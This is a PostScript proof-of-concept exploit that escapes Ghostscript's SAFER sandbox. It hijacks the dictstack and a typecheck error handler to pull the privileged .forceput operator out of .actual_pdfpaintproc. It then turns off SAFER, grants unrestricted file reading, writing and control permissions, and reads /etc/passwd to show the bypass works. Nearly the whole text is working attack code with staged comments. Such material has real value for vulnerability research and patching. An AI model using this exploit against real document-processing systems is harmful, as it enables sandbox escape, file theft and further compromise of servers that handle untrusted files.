% extract .actual_pdfpaintproc operator from pdfdict /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def /exploit { (Stage 11: Exploitation...) == % we cant access the contents of this routine (its executeonly), but it's % not an operator, if we can make it stop we can pull out the contents from % the error handler. /forceput exch def } def errordict /typecheck { /typecount typecount 1 add def (Stage 10: /typecheck #) print typecount == % The first error will be the .knownget, which we handle and setup the % stack. The second error will be the ifelse (missing boolean), and then we % dump the operands. typecount 1 eq { null } if typecount 2 eq { pop /extracted exch def stop } if typecount 3 eq { exploit } if typecount 4 eq { (unexpected) == quit } if } put % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some % executable errays onto the operand stack that contain .forceput, but are not % marked as executeonly or pseudo-operators. % % The routine was attempting to pass them to ifelse, but we can cause that to % fail because when the routine was declared, it used `bind` but many of the % names it uses are not operators and so are just looked up in the dictstack. % % This means we can push a dict onto the dictstack and control how the routine % works. << /typecount 0 /PDFfile { (Stage 0: PDFfile) == currentfile } /q { (Stage 1: q) == } % no-op /oget { (Stage 3: oget) == pop pop 0 } % clear stack /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op /gput { (Stage 5: gput) == } % no-op /resolvestream { (Stage 6: resolvestream) == } % no-op /pdfopdict { (Stage 7: pdfopdict) == } % no-op /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index /pdfdict { (Stage 9: pdfdict) == % cause a /typecheck error we handle above true } >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop % now that we've unwound from the pseudo-op .actual_pdfpaintproc, call the % extracted executeonly branch. { extracted } stopped pop systemdict /SAFER false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceput % All done. ( Should now have complete control over ghostscript, attempting to read /etc/passwd...) == % Demonstrate reading a file we shouldnt have access to. (/etc/passwd) (r) file dup 64 string readline pop == closefile quit